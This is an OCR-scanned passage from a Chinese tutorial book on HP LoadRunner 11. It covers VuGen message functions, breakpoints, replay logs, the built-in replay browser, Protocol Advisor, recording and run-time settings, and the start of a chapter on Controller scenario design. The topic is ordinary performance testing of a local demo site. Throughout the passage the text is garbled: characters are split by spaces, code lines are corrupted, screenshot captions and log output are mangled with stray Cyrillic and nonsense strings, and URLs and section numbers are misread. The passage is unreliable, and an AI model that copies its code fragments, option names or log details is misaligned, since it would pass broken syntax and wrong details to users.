登录 成 功 时 ， 打 印 出 “besttest 登 录 成 功 ”。 其 中 的 %s 就 是 对 应 的 获取 出 来 的 username， 因 为 是 字符 类 型 ， 所 以 使 用 %s。 


2.Ir_ error message 国 数 


该 国 数 一 般 用 于 打印 错误 ， 错 误会 以 红色 字体 在 控制 台 输 出 。 


函数 用 法 : 


lr error message 〈\g%s 登 录 失 败 “，，1L eval string ( "(username]" ) ) ; 


登录 失败 时 会 打印 出 “besttest 登 录 失 败 ”， 并 以 红色 字体 显示 。 


2.6.2 ”断后 的 应 用 


断 点 的 使 用 方法 如 下 。 
1) 把 鼠标 移动 到 想 要 插入 断 点 的 位 置 并 单 击 ， 选 中 该 行 ， 然 后 单 击 鼠 标 右键 ， 选 择 Toggle Breakpoint， 可 以 在 该 行 前 面 看 到 一 个 小 红 点 ， 如 图 2-44 所 示 。 如 果 想 取消 设置 的 断 点 ， 则 重复 该 步骤 即 
可 。 


2) 运行 单 步调 试 ， 如 图 2-45 所 示 。 


3) 脚本 会 在 运行 到 设置 断 点 的 地 方 停 住 ， 这 样 就 可 以 观察 日 志和 现象 了 。 如 果 想 让 脚本 继续 往 下 一 步 步 运 行 ， 


可 以 单 击 菜单 Vuser 一 Run。 


// 


web submit data("login.pl', 


NCDETUDR 


r1 
Z 


q 需 单 击 菜单 Vuser 一 Run Step by Step 即 可 。 如 果 


"Action-http://127.0. 0. 1:1080/WebTours/login.pl', 


"Method-POST', 


"RecContentType-text/htnl^, 
"Referer-http://127.0. 0. 1:1080/WebTours /nav. pl7in-home", 


"Snapshot-t3. inf”, 
"Mode-zHTML", 
ITEMDATA, 


图 2-44 设置 断 点 


= 
ХЕ 


想 一 次 性 把 剩余 脚本 运 


4— 


1T 


完成 ， 则 


t3. Scan Script for Correlations 
Scan for Correlations (at Cursor)  AIt«F8 
Create Correlation 


Run-Time Settings... F4 


2-45 运行 


263 日 志 的 查看 分 析 


查看 日 志 不 仪 对 开发 人 员 十 分 重要 ， 对 于 测试 也 同等 重要 。 日 志 能 方便 查找 出 现 的 问题 ， 供 我 们 分 析 。 之 前 小 白 也 没有 认真 地 看 过 VuGen 的 日 志 ， 这 次 可 要 好 好 研究 下 。 就 以 登录 、 退 出 回放 的 日 志 为 
例子 进行 分 析 。 


图 2-46 中 显示 的 是 一 些 脚本 的 概要 信息 ， 不 必 过 于 在 意 。 


starting action vussr init. 
|Web Turbo Replay of LoadRunner 11.0.0 for Windows 7; build 8858 (Аце 18 2010 20:14:31) [MsgId: MMSG-27143] 


kun Mode: HTML [MsgId: MMSG-26000] 

IRun-Time Settings file: '"D:XLRScript'webtoursMlogin-siznoff* default. cfg” [MszId: MNSG-27141] 
Ending action vuser init. 

Running Vuser... 


图 2-46 “概要 信息 


图 2-47 方 框 中 的 信息 从 上 到 下 ， 依 次 表示 第 一 次 迭代 开始 、reg 函 数 注册 成 功 、web_reg_find 函 数 找 到 指定 值 、 打 印 出 来 指定 的 message 人 信息。 这 些 都 是 平时 调试 脚本 时 需要 重点 关注 的 地 方 。 


i eiT): eetteriin web reg save param was successful [MsgId: MMSG-26390] 

‚©(13): Detected non-resource “http://127.0, 0. 1:1080/WebTours/header.html" in "http://127. 0. 0. 1:1080 

.c(13): Detected non-resource ^http://127. 0. 0. 1:1080/WebTours /welcone. pl?signOff- true" in "http: //142 
n. c(135: Found resource "http: //127. 0. 0. 1:1080/WebTours/inages/hp logo. pne” in HTML "http: //12T. 0. 0. 
,c(13): Found resource "http://127.0.0. 1:1080/WebTours/images/webtours.png' in HTML "http: //127. 0. 0. 
.c(13): Detected non-resource "http://127. 0. 0. 1:1080/WebTours/nav. pl ?in-hone" in "http://127.0. 0.1:] 
.c(13): Detected non-resource "http://127. 0. 0. 1:1080/WebTours/hone. htnl" in '"http://127. 0. 0. 1:1080/1 
,C(13): Found resource a //121. 9. У 1: ГОНЕ Ранке TBD or anuai E. is" іп HTML "http://127. 0. 0. 1:10 
Qc: reg р (1: lebTours/imazes/mer lozin.gif'" in HTML "http://127.0.( 
etig): w {ы ТҮҮЛ, Was ат" 687p body bytes, 1808 header bytes [MsgId: MMSG-2638É 
п. c(23): Registering web reg. find was successful [NsgId: MNSG-26390] 

. e (30): Notify: ашышып „20618. started. 

, e (33) : T | ' | 7" T:1080/WebTours /nav. pl?7page-nenu&in-hone" in "http: IP 

; PE Detected non- resource "http: 77127. 0.0.1: 1080/WebTours/login. pl?intro-true" in "http://127. 0 
1. e (93): Found resource “http: 7/127T.0.0.1: 1030/WebTours/images/flights. gif in HTML "http: //121. 0. O. 1 

. c(33): Found resource "http: //12T. 0. 0. 1:1080/WebTours/inmages/itinerary. gif" in HTML "http://127. 0. ( 
,C(33): Found resource ,http: //12T.0. 0.1: TO 30 MEE ars, жава it hone. gif' in HTML "http://12T. 0. 0. - 
„С(33): ound reso “H FES. U U „LUSO реб oUr Ж : zj " in HTML "http: /712T. 0. 0. 
саш: ЕЛ" eb _reg_ find successful for Text-zbesttest Cour [MsgId: MMSG- 26364] 

ЭШ i. (33) s WECO ст 和 有 [IE dr ü yuq = Ш== 150" Mmi 
.с(49) :| Notify: Transaction “login” ended with "Pass Duration: 0. 7670 Wasted Time: ҮШ: 

. c(53) : M besttest ERRI | 

„с\58): ligt nie " < “ТҮЛҮКТҮ Te Sm. T == 

. e (58): et ар non-resource http: 77127. 0.0.1: 1080/WebTours /nav. Җен in "http: //127. 0.0.1: 
,c(58): Detected non-resource “http: / AZ. 0. 0, 1:1080/WebTours/home. html“ in "http: //127. 0. 0. 1:1080/Y 
,c(58): Retrieving data from cache for "http: 1127. 0.0.1: 1080/TebTours/hone. html [MsgId: МИЅС-2 
.c(58): Resource "http: //127.0. 0. 1:1080/WebTours/]SFormSubmit. js” is in the cache already and will 
.c(587: Resource "http: //121.0. 0.1: 1080/VebTours/images/mer. login. gif" is in the cache already and 1 


2-47 详细 信息 
Qi 日 志 不 报错 ， 并 不 代表 没有 错误 ， 也 不 表示 脚本 就 是 正确 的 ， 这 一 点 一 定 要 清楚 。 可 以 在 被 测 系统 中 查看 真实 数据 以 及 日 志 判 断 ， 也 可 以 通过 LoadRunner 自 带 的 浏览 器 回放 查看 。 
264 _ 自 带 浏览 器 的 使 用 


上 面 的 提示 中 说 到 了 LoadRunner 自 带 浏览 器 的 回放 查看 ， 那 么 这 个 功能 在 哪里 设置 呢 ? 单 击 菜单 Tools 一 General Options， 在 General Options 对 话 框 的 Display 标 签 中 设置 ， 如 图 2-48 所 示 。 


General Options 


Parameterizati on | Replay | Environme orrelation 


fw Show run-time viewer during re] 


[Z Auto arrange windo 


Test Results 


[fw Generate report during script execu 


82-48 ”打开 自 带 浏览 器 


选中 图 2-48 方 框 中 的 选项 后 ， 再 次 回放 该 脚本 ， 可 以 看 到 自 带 浏览 器 也 跟着 回放 了 ， 可 以 清楚 地 看 到 每 一 步 的 操作 ， 更 便于 调试 脚本 。 运 行 效果 如 图 2-49 所 示 。 


PPP. WW 381: t3; 和 


Backe FO гияга Sto r1 
| 


ogin-signoff - Web (HTTP HTML} 


"RecContentType-te 4 
"Referer-http://12 
"Snapshot-t3. inf”, 
"Mode-HTML", 
ITEMDATAÀ, 
"Name-userSession" 
,Name-username', 
,Name-password', 


,Nane-]SFornSubni t К 一 - Using the menit ta to iia left, you can = 


,lame-login.x/, ^W (С сопот ` already booked. Don't forget to sign c 
"Name-login.y^, "V | - ady | get to sig 


LAST) ; 


lr. end, transaction("' lo 


Кип т, ПЖ ЕГ 
Parta eval string|!| 

lr output message (| 
else 

]r error message(" 


web image( SigznOff But| 
"Alt-SiznOff Butto | 
"Snapshot-t4.inf', 
LAST): 


return Ü: 


lation Results | Hi GenerationLog | Rur 4 [xf 


I үч 
"http://127. 0. 0. 1:1080/WebTour 
тсе ^http://127.0.0.1:1080/We ` 


4 


图 2-49 ”运行 效果 


2.7 VuGen 使 用 技 15 


至 此 ， 小 白 可 以 松口 气 了 ， 常 规 的 录制 、 放 回 、 设 置 、 脚 本 编写 已 经 完全 掌握 了 ， 终 于 达到 了 一 个 里 程 碑 ， 值 得 庆祝 。 不 过 闲 不 住 的 小 白 还 是 想 利 用 休息 时 间 继 续 看 看 LoadRunner 的 VuGen 中 的 各 种 


2.7.1 协议 噢 探 


Portocol Advisor (协议 嗅 探 ) 功能 是 LoadRunner 11 中 的 新 增 功能 ， 只 是 为 了 给 大 家 选择 协议 时 提供 参考 意见 而 已 ， 这 个 功能 不 能 全 信 ， 只 是 在 我 们 没有 头绪 时 ， 可 以 参考 嗅 探 出 的 协议 。 协 议 嗅 探 
使 用 步骤 如 下 。 


1) 单 击 菜单 File 一 Protocol 一 Analyze Application ， 在 弹出 的 对 话 框 中 选择 待 分 析 内 容 ， 并 做 相关 设置 后 单 击 OK 按钮 ， 如 图 2-50 所 示 。 


2) 对 打开 的 页 面 进行 一 些 操作 ， 如 登录 ， 然 后 单 击 Stop Aanlyzing 按 钮 ， 完 成 协议 的 嗅 探 ， 之 后 便 会 看 到 报告 ， 如 图 2-51 所 示 。 


Protocol Advisor 


Vulaen's Protocol Advisor analyzes vour system and helps you determine which 
protocol or combination of protocols to choose for recording your business process. 
To ensure accurate results, we recommend running through an entire typical 
business process, 


Application type : егте: Applications 


Program to analyze : [Microsoft Internet Explorer 


URL Address : | waw. bardu. com 
Working directory: [C:\Program Files (x86)\Internet Explorer = 


图 2-50 ”打开 协议 嗅 探 


Protocol Advisor 


Application name: C:\Program Files (х86)\їпїегпеї Exploreruexplore exe 
URL Address: www Баи сот 


We detected the following protocols in your business process: 

e Ajax [ruClient - Relevant only for application supporting Firefox 
е AJAX (Click and Script) 

е Web (HTTP/HTML) 


| 
| Read more... 


图 2-51 协议 嗅 探 报告 
2.7.2 通用 设置 
General options (通用 设置 ) 是 全 局 生效 的 ， 一 般 情 况 下 很 少 改 动 这 里 。 人 入口 在 菜单 Tools 一 General Options 中 。 下 面 介 绍 主要 选项 。 
1) Parameterization: 参数 化 。 其 子 选 项 含义 如 下 。 
: Parammeter Braces: 可 自 定义 参数 括号 的 类 型 。 
2) Replay: 回放 。 如 图 2-52 所 示 ， 各 子 选 项 含义 如 下 。 
- Animated run: 用 来 设置 LoadRunnet 中 的 某 个 函数 与 另外 一 个 函数 之 间 的 等 待 时 间 (单位 为 毫秒 ) ， 以 实现 脚本 减速 运行 。 


: Prompt for results directory: 是 否 提示 测试 报告 保存 的 目录 名 ， 黑 认 情 况 下 为 resultl ， 选 中 会 每 次 提示 让 用 户 输入 保存 的 目录 名 。 


: After replay View before replay: 返回 到 回放 前 的 状态 。 
: After replay Replay summary: 直接 打开 回放 结果 统计 。 
- After replay Visual Test Results: 打开 测试 报告 。 
3) Environment: 环境 。 如 图 2-53 所 示 ， 各 子 选项 含义 如 下 。 
· Save AutoRecover information every X minute: 每 隔 X 分 钟 自动 保存 恢复 信息 。 可 在 Loadrunner 崩 演 时 还 原 脚本 。 
* Auto show function syntax: Á 2 E T f Ai ko 
: Auto complete word: 自动 完成 函数 提示 ， 输 入 函数 的 第 一 个 字母 时 ， 显 示 一 个 函数 列表 ， 通 过 它 可 以 选择 函数 ， 而 无 须 手动 输入 函数 。 
: Select Font: 设置 编辑 器 的 字体 。 


: Comparison Tool: 打开 自 定 义 对 比 工具 ， 可 以 和 另外 一 个 功能 一 起 使 用 。 


Parameteriration Replay | Environment | Display | Correlation | SE | 


- Debug 


Animated run Ü EY | тес 
[V Only animate functions in Action se Lise Defaults | 


—Besults Directory 


[ Prompt for results directory Help 


— Kitar Replay 


After replay View before гер] ¥ | 


图 2-52 通用 设置 (1) 


Paramaterirati on | Replay Environment | Di splay | Correlation | 


Auto Recovery 
[ ave Autelecover information eal0  —] minute: 


ET Ss 
[M Auto show function syn | Use Defaults | 


[v Auto complete wor 


11 pt. Simsun select Eont.. Help | 


Comparison Tool 


[ Use custom comparison t: 


| 


2-53 ”通用 设置 (2) 


4) Display: 显示 。 如 图 2-54 所 示 ， 各 子 选项 含义 如 下 。 
: Show run-time viewer during replay: 显示 正在 运行 的 脚本 在 页 面 中 的 表现 ， 选 中 后 ，VuGen 打 开 自 己 的 浏览 器 来 显示 脚本 执行 的 效果 ， 这 是 调试 脚本 的 一 个 重要 方法 。 
- Generate report during script execution: 用 来 生成 测试 结果 报告 。 
5) Correlation: 关联 。 如 图 2-55 所 示 ， 各 子 选 项 含义 如 下 。 
: Enable Scripting and Java applets on Snapshot: 启用 脚本 和 Java 应 用 程序 快照 。 如 果 JavaScript 肢 本 在 TreeView 视 图 里 显示 有 问题 ， 则 可 以 尝试 匀 选 该 项 。 


: Download images on Snapshots viewer: 在 快照 显示 器 里 下 载 图 片 。 


Gone Options 


iv Bhow runtime viewer during геј d | 


[V Auto arrange windo 


-Test Raxultz ——————————————————————————— Use Defaul 
[Z Generate report during script execu : 


图 2-54 通用 设置 (3) 


Parameteriration | Replay | Environment | Display Correlation | 


E Enable Script: ттт enr LER CERES M ERE PTT C m CUP 


nable Scripting and Java applets on Snapshot: 


W Download images on Snapshots viewer 


Correlation 


I gnore di £f erences n = character 


fw Issue a warning for large correlati: 


2-55 ”通用 设置 (4) 


27.3 ”录制 设置 


Recording options (录制 设置 ) 是 对 正式 录制 操作 前 进行 一 些 参数 设 定 。 入 口 菜单 为 Tools 一 Recording Options。 这 里 面 有 很 多 选项 ， 但 对 于 测试 来 说 ， 很 多 都 是 不 需要 太 关 心 的 ， 保 持 默 认 即 可 ， 
下 面 介绍 比较 重要 的 选项 设置 。 


1) Recording: 录制 选项 。 这 里 提供 了 两 种 录制 方式 ， 如 图 2-56 所 示 。 
: HTML-based script (基于 HTML 的 脚本 ) 。 这 种 方式 录制 出 来 的 脚本 是 基于 HTML 基 础 的 。 一 般 来 说 ， 如 果 使 用 IE 访 问 的 B/S 架构 就 选择 它 。 生 成 的 脚本 简洁 ， 基 于 用 户 操作 模拟 ， 浅 显 易 懂 。 


: URL-based script (基于 URL 的 脚本 ) 。 这 种 方式 录制 出 来 的 脚本 是 基于 URL 请 求 的 。 如 果 采 用 非 E 标 准 的 C/S 架 构 ， 建 议 使 用 该 模式 来 录制 脚本 ， 这 样 可 以 确保 不 会 遗漏 任何 HTTP 请 求 ， 但 生成 代码 
比较 繁琐 。 另 外 ， 使 用 了 HTTPS 协 议 也 可 选用 此 模式 。 


General: Recording 


HTTP / HTML Level 


- Data Format Extension к © HTML-based script | HTML Advanced... 
-— Configuration | 


i iion Chain С URL-based script URL Advanced 


~ Cookies Chain 


|. L Query String Chain 
— Network 
| = Pott Mapping 
~ HTTP Properties 
[ Advanced 
~ Correlation 


— Hint 
Move the mouse over any item to see its descnption. 


图 2-56 ”录制 设置 (1) 


2) Port Mapping: 端口 映射 默认 为 Socket level data， 如 图 2-57 所 示 。 一 般 情况 下 不 需要 更 改 ， 但 是 在 无 法 录制 脚本 或 者 脚本 为 空 的 情况 下 ， 可 以 选择 此 选项 为 Socket level and WinINet level 
data 试 试 。 


Маг: Part Mappng 


| Capture level: [Socket evel data i "| 


+ Protocols 
i k. Recarding 
- Data Formar Extension 
In L'arfiguratian 
- Headers Chain 
-- Body Chain 
-- Cookies Chain 
: C Duer String Chan 
= Network. 


BES Fot Марргпа 
-- HTTP Properties 
-- Advanced 
-- Correlation 


Henwark-Ievel server address mappings for : [А110] т 


Ме Eniry | Edt Ertry | Delete Erry | 


— Description : 


Delect a servar entry bo enable/^desable or update. 


Uss Dafaulis Cancel 


图 2-57 录制 设置 (2) 


3) Advanced: 高 级 设置 。 各 子 选项 含义 如 下 。 
: Reset context for each action: 在 录制 过 程 中 ， 每 个 action 之 间 是 否 需要 重 置 context， 这 里 存放 请 求 发 送 后 返回 的 数据 信息 ， 如 服务 器 返回 的 HTML、Cookie、Session 等 。 
Save snapshot resources locally: 在 本 地 保存 快照 资源 。 
: Generate web, reg find functions for page titles: 是 否 需 要 为 每 个 标题 自动 生成 web_treg_find 检 查 点 通 数 。 
: Generate web гере find functions for sub-frames: 为 子 框架 也 生成 检查 点 函数 。 
* Add comment to script for HTTP errors while recording: 录制 过 程 中 出 错时 添加 注释 内 容 。 


: Support charset: 编码 规则 选项 。 如 果 出 现 了 乱码 ， 可 以 试 着 选中 “UTF-8”， 如 图 2-58 所 示 。 


- HTTP Properties: Advanced - 
Preferences 
iv Reset context for each action 
: Data Format Extension | = | W Save snapshot resources locally 


~ Configuration [ Generate weh гес find functions for page titles 
i Headers Chain а 


- Body Chain [ Generate web reg find functians for sub-frames 
^ Cookies Chain [ Add comment to script for HTTP errors while recording 
~ Query String Chain iv Support charset 


Network — * UTF8 
| s^ Port Mapping Er 
» HTTP Properties | L EULJF 


Advanced 


图 2-58 ”编码 规则 选项 
Recording Engine: 录制 的 兼容 性 选项 ， 可 以 使 用 以 前 的 录制 引擎 来 录制 脚本 。 
- Recording scheme Headers: 对 Headets 中 的 内 容 进 行 过 滤 。 
- Recording scheme Content Types: 对 录制 的 正文 内 容 进 行 过 滤 。 
* Recording scheme Non-Resource: 对 非 资 源 的 内 容 进行 过 滤 。 
4) Correlatio: 关联 。 子 选项 含义 如 下 。 


: Enable correlation during recording: 录制 过 程 中 启用 自动 关联 。 这 个 就 是 自动 关联 的 开关 。 


274 Run-time Settings 设 置 


Run-time Settings (运行 时 设置 ) 是 最 常用 的 ， 也 是 调试 脚本 最 常 修改 的 地 方 。 选 择 Vuser 一 Run-time Settings 菜 单项 进入 入 口 后 ， 可 以 对 以 下 几 项 内 容 进行 设置 。 
1.Run Logic 


如 图 2-59 所 示 ， 可 在 Run Logic (运行 逻辑 ) 对 Action 设 置 迭代 次 数 (运行 的 次 数 ) ，Init 和 End 不 能 设置 。 


Run-time Settings 


v General | General: Run Logic 


Iteration Cont 


Ú Humber of Iterations: [1 E 


i Pain Tuna 


г Additional attributes EI Init Insei Action 


| ^ Miscellanenus | beg vuser irit 
Мемо 2. liset Block 
Pod Speed Himalaian : 
z Brorser 
| L. Browser Emulation 
z Internet Protaeal : МоуеШр 
і je Prey 

z Prelerences 

= Download Filters 
| DorteniCheck 
Data Format Extension 

-- Dorfiguratian Hint 

Move the mouse over ary Item to see ils description. 


Move Down 


Prapertizs.. 


Uze Defaults | Cancel | Help | 


2-59 ”运行 时 设置 (1) 


2.Pacing 


Pacing (步调 ) 配置 脚本 运行 中 每 次 interation 之 间 的 等 待 时 间 ， 如 图 2-60 所 示 。 


-General: Pacing 
tart new Iteration 
a [ (* Às soon as the previous iteration ends 


-- Think Time — 
| Additional albus After the previous iteration ends: 


| — Miscellaneous With a [fixed - | delay ol 

= Network 

|. '- Speed Simulation : —— 

- Browser C At [кед | intervals; every 60.000 zi SEC 

| -- Browser Emulation [provided that the previous iteration ends by that time] 

~ Internet Protocol 

(op Proxy 

| b Preferences Hint 

| c Download Filters Move the mouse over any item to see its description. 

| — СопіепіСһеск 

= Data Format Extension 
-- Configuration 


图 2-60 运行 时 设置 (2) 
3.Log 


脚本 回放 验证 时 基本 都 是 依靠 Log (А) ， 过 多 的 日 志 虽 然 可 以 更 清晰 地 了 解 脚本 执行 的 内 容 ， 但 是 也 为 定位 带 来 了 不 便 ， 所 以 要 合适 地 选择 日 志 设置 。 一 般 在 调试 脚本 时 打开 ， 在 Controller 运 行 脚 
本 时 关闭 。 如 图 2-61 所 示 ， 各 子 选 项 含义 如 下 。 


` Enable logging: 勾 选 则 打开 上 日志， 不 勾 选 则 关闭 日 志 ， 不 会 在 VuGen 的 控制 台 输 出 。 
· Send message only when an error occurs: 只 有 当 发 生 错误 时 ， 才 发 送 日 志 信 息 。 

: Standard log: 标准 日 志 。 

Extended log: 扩展 日 志 。 

+ Parameter substitution: 显示 参数 的 赋值 取 值 ， 一 般 参 数 化 调试 时 打开 此 项 。 

: Data returned by server: 显示 服务 器 返回 的 数据 。 


: Advanced trace: 高 级 的 追踪 会 显示 非常 多 的 数据 信息 。 


General Log 


м Enable logging 


g -oi optioris 
r Think Time C Send messages only when an eror occurs — ¿dvanced 
— Additional attributes Р. | 

| + Miscellaneous 1 (5 Always send messages 

i” Network Log messages at the detail level of 

| `- Speed Simulation ( Standard log 


- Browser 
| *- Browser Emulation 
E Internet Protocol [ Parameter substitution 
| |-Prowy 
- Preferences = 
- Download Filters Г 
| i- DontentCheck 
— Data Format Extension 
i Configuration Hint 
Move the mouse over any item to see its descriphion. 


\ 


图 2-01 时 设置 (3) 


(5 
ed 


4.Think Time 


通过 Think Time (思考 时 间 ) 来 设置 模拟 用 户 真 实 操作 的 等 待 时 间 ， 对 应 的 函数 是 Ir_ think time () ， 单 位 为 s。 选 择 As recorded 时 ， 表 示 与 录制 时 的 思考 时 间 一 样 。Multiply recorded think time 
by 表示 以 录制 时 间 的 几 倍增 加 。Use random percentage of recorded think time 表 示 用 录制 时 思考 时 间 的 百分比 。Limit think time to 表示 限制 多 少 秒 。 


忽略 思考 时 间 可 以 加 大 对 系统 的 压力 ， 但 这 种 做 法 和 真实 业务 不 符 ， 所 以 一 般 不 采用 。 其 余 注意 事项 请 回顾 1.3.6。 
5.Miscellaneous 
在 Miscellaneous (其 他 ) 中 可 以 设置 其 他 选项 ， 如 图 2-62 所 示 。 
1) Error Handing: 错误 处 理 。 各 子 选项 含义 如 下 。 
Continue on error: 出 现 错误 时 继续 运行 。 
` Fail open transaction onlr error message: 失败 时 使 用 lf_errof _ message 函数 打印 。 
* Generate snapshot on error: 错误 出 现时 生成 快照。 
2) Multithreading: 进程 与 线程 。 各 子 选 项 含义 如 下 。 
: Run Vuser as a process: 以 一 个 进程 运行 虚拟 用 户 ， 进 程 是 指 一 个 虚拟 用 户 用 一 个 mmdrv.exe。 
: Run Vuser as a thread: 以 一 个 线程 运行 虚拟 用 户 ， 线 程 是 指 多 个 用 户 一 起 使 用 一 个 mmdtv.exe。 
3) Automatic Transactions: 自动 化 事务 。 事 务 是 用 来 获得 某 一 行为 所 消耗 时 间 的 函数 ， 默 认 情 况 下 用 户 自 定义 事务 。 各 子 选项 含义 如 下 。 
: Define each action as a transaction: 定义 每 一 个 action 作 为 一 个 事务 。 


: Define each step as a transaction: 定义 每 一 步 作 为 一 个 事务 。 


= General 

| C RunLogic 
- Pacing 
= Log 
-- Think Time 
~ Additional attributes 


BEL Miscellaneous: 
= Network 
i - Speed Simulation 
| — Browser Emulation 
- |ntemet Protocol 
=- Proxy 
^ Preferences 
~ Download Filters 
i- Data Format Extension 
-- Configuration 


6.Speed Simulation 
提供 宽带 模拟 的 选项 ， 默 认 情况 下 ， 脚 本 以 最 大 宽带 来 访问 。 


7.Browser Emulation 


通过 Browser Emulation (浏览 器 模拟 ) 模拟 整个 HTTP 头 中 的 user-agent 信 息 ， 从 而 让 服务 器 错误 地 认为 是 一 个 个 真实 的 客户 端 对 服务 器 发 出 了 请 求 ， 通 过 设置 可 以 改变 浏览 器 类 型 。 如 图 2-63 所 
， 各 子 选 项 的 含义 如 下 。 


.Uset-Agent (brower to be emulated) : 浏览 器 的 模仿 。 
: Download non-HTML resources: 下 载 non-html 资 源 。 
: Simulate a new user on each iteration: 每 次 迭代 时 模拟 一 个 新 用 户 。 
- Clear cache on each iteration: 每 次 迭代 时 清除 cache。 
8.Preferences 
一 般 常 规 的 设置 都 可 以 在 Preferences (首选 项 ) 中 完成 ， 各 选项 合 义 如 下 。 


1) Checks: 检查 。 


其 中 ，Enable image and text check 为 其 子 项 。 还 记得 图 片 检查 点 吗 ? 如 果 使 用 图 片 检查 点 就 必须 勾 选 该 选项 。 如 果 使 用 的 是 reg 的 文本 检查 点 ， 则 可 以 不 勾 选 ， 如 果 使 用 的 是 不 带 reg 的 文本 检查 
， 就 需要 勾 选 该 选项 。 


General: Miscellaneous 


Error Handling 
| [ Continue on error 
[ Fail open transactions on lr. error. message 
[ Generate snapshot on error 
Multithreading 
SEN : (C Run Vuser as a process 
ХАЯ (+ RunVuser as a thread 
Automatic Transactions 
[ Define each action as a transaction 
| Define each step as a transaction 


Move the mouse over any item іо see its description. 


2-62 ”运行 时 设置 (4) 


n-time Settings 


Browser. Browser Emulabon 


^ General 
| L. Run Logie Browser properties 
: p ; 
ben LU ser-Agent [browser to be emulated): 
L Think Time Mozilla/4.0 (compatible: MSIE 6.0; Windows) Change.. | 
= Additional attributes | 
Mee Ww Simulate browser cache 
г Network W Cache URLs requiing cantent (HTMLs] 
|^ Speed Simulation [ Check for newer versions of stored pages every visit to the page 
~ Browser 
MES E:owser Emulation Download non-HTML resources 
~ пете Protocol 
PR 2 м Simulate a new user on each iteration 
H- Preferences iw Clear cache an each iteration 
P Download Filters 
| ^ DontentCheck Hint: 
» Data Format Extension Move the mouse over any item to see its description 
— Configuration 


12-63 ”运行 时 设置 (5) 
Qi 如 果 不 是 必需 ， 最 好 不 要 匀 选 该 选项 ， 毕 竞 是 在 做 性 能 测试 ， 而 不 是 功能 测试 。 
2) Advanced Options: 高 级 设置 。 


小 白 在 网 上 看 到 很 多 人 都 会 问 关 于 “download timeout 120s” 这 样 错 误 的 原因 和 解决 方法 ， 其 实 这 个 错误 在 这 里 设置 后 就 可 以 避免 ， 主 要 修改 HTTP-request connect timeout (sec) , HTTP- 


request revice timeout (sec) , Setup download timeout (sec) 三 项 的 value 值 ， 适 当 调 大 即 可 。 


28 本章 小 结 


通过 这 段 时 间 的 学 习 ， 小 白 已 经 熟练 地 掌握 了 LoadRunner 的 VuGen 使 用 ， 并 能 把 常用 的 技术 点 与 技巧 很 好 地 运用 到 项 目 实战 中 。 回 顾 来 看 ，VuGen 的 功能 还 是 蛮 强 大 的 ， 从 编写 到 调试 再 到 细微 的 设 
置 ， 不 愧 为 传阅 中 性 能 测试 的 “神器 ”， 也 更 加 坚定 了 小 白 继续 学 习 的 信心 。 


在 高 兴 之 余 ， 小 白 也 认识 到 很 多 事情 是 可 以 遵循 步骤 规则 的 ， 就 像 脚本 的 编写 开发 。 小 白 也 体会 到 只 有 和 总结、 梳理 学 到 的 知识 ， 才 能 让 自己 的 头脑 变 得 更 清晰 ， 从 而 不 至 于 毫 无 头绪 地 抓 狂 。 


下 一 章 小 白 将 学 习 LoadRunner 的 第 二 大 组 件 Controller， 让 我 们 跟着 他 的 步伐 继续 前 进 吧 。 


第 3 章 LoadRunner Controller 实 战 


结束 了 LoadRunner 学 习 的 第 一 个 里 程 碑 ， 小 白马 不 停 蹄 地 开始 了 第 二 个 里 程 碑 的 学 习 ， 那 就 是 LoadRunner 的 Controller 组 件 。 


3.1 Controller 介 绍 


Controller 可 谓 是 LoadRunner 的 “心脏 ”， 承 担 着 多 种 工作 任务 。 最 常见 的 就 是 场景 的 设计 、 压 力 机 的 部 署 、 脚 本 调度 、 监 控 以 及 数据 收集 。 


Controller 的 工作 原理 是 ， 通 过 场景 设计 来 模拟 用 户 的 真实 操作 并 调用 VuGen 中 的 脚本 ， 再 通过 设置 的 压力 机 产生 压力 。 在 场景 运行 过 程 中 ，Controller 可 以 收集 虚拟 用 户 执行 情况 、 事 务 响 应 时 间 、 
吞吐 量 、 各 个 服务 器 资源 以 及 各 个 应 用 资源 的 信息 并 实时 显示 ， 帮 助 测试 人 员 分 析 。 


Controller 的 启动 有 两 种 方式 : 可 以 从 开始 菜单 下 的 HP LoadRunner 一 Applications 一 Controller 启 动 ， 也 可 以 从 VuGen 中 选择 Tools 一 Create Controller Scenario 命 令 后 创建 。 


接 下 来 就 和 小 白 一 起 看 看 这 个 神秘 的 “心脏 ” 吧 ! 


3.2 ”场景 设计 实战 


Controller 可 以 完成 多 种 场景 设计 ， 如 快 增长 、 慢 增长 、 组 模式 等 ， 基 本 可 以 满足 日 常 的 性 能 测试 场景 需求 。 启 动 Controller 后 的 新 建 场景 界面 如 图 3-1 所 示 。 


Select Scenario Type 
(* Manual Scenario 
Manage your load test by specihuing the number of virtual users to run 
| Use ће Percentage Made to distribute the Vusers among the scripts 


C Goal-Driented Scenario 
Allow LoadR unner Controller to create a scenario based on the goals you specify 


Select the scrpt(s] vou would like to use in your scenario 
Available Scripts Scripts m Scenario 
M guanlian wet 
| = $È http interface 
d java 
-»Em 
È login post 
~È login post reply 
| - $ main 


L. b malih 


[z Show at startup 


图 3-1 HEAR 
下 面 解释 图 3-1 中 的 主要 选项 。 
1) Select Scenario Туре: 选择 场景 类 型 。 根 据 需要 ， 可 以 选择 手工 场景 和 基于 目标 的 场景 。 各 子 选项 含义 如 下 。 
: Manual Scenatio: 手工 场景 。 就 是 手工 指定 场景 如 何 运行 ， 比 较 灵 活 ， 可 以 完成 绝 大 多 数 的 场景 需求 。 此 处 还 有 一 个 选项 ， 是 否 使 用 百分比 模式 ， 一 般 情 况 下 不 匀 选 。 


: Goal-Oriented Scenario: 基于 目标 的 场景 模式 。 就 是 要 设 定 一 个 目标 ， 然 后 达到 这 个 目标 。 例 如 ， 设 定 Hits per Second 100， 接 着 设 定 虚拟 用 户 数 的 范围 〈 这 个 是 和 Manual Scenatio 不 同 的 地 方 ) ， 最 后 
根据 设置 的 时 间 运 行 ， 如 果 没 有 达到 既定 目标 ， 则 可 以 选择 停止 运行 或 继续 运行 ， 如 图 3-2 所 示 。 


Rename | Delete. | Меш | 
Scenano Stat Time...| 


[anal Tipe: [н ner 5ernrd -| 
Haach goal af EU 00 | hite per second 
Osing a minimi ої [sn E and a maximum оѓ 1 50 E ШЕК ЕЕ 


| Scenario Settings |Laad B.hayion | 


r-Run Time 


Eun For 1000:30:0 2] ННЯ: NM:ES]) after the target haz been 


== m 
' 


Ii target cannot be reached 
£ Siop scenario and save results 


ќа Continue scenario without reaching i 


hits per second 


m Racaive natification 


00:00 00:05 00:10 00:15 00:20 00:75 00:30 
Elapsed Time 


Í Do not change recorded think. time Canca | Help | 


图 3-2 基于 目标 的 场景 


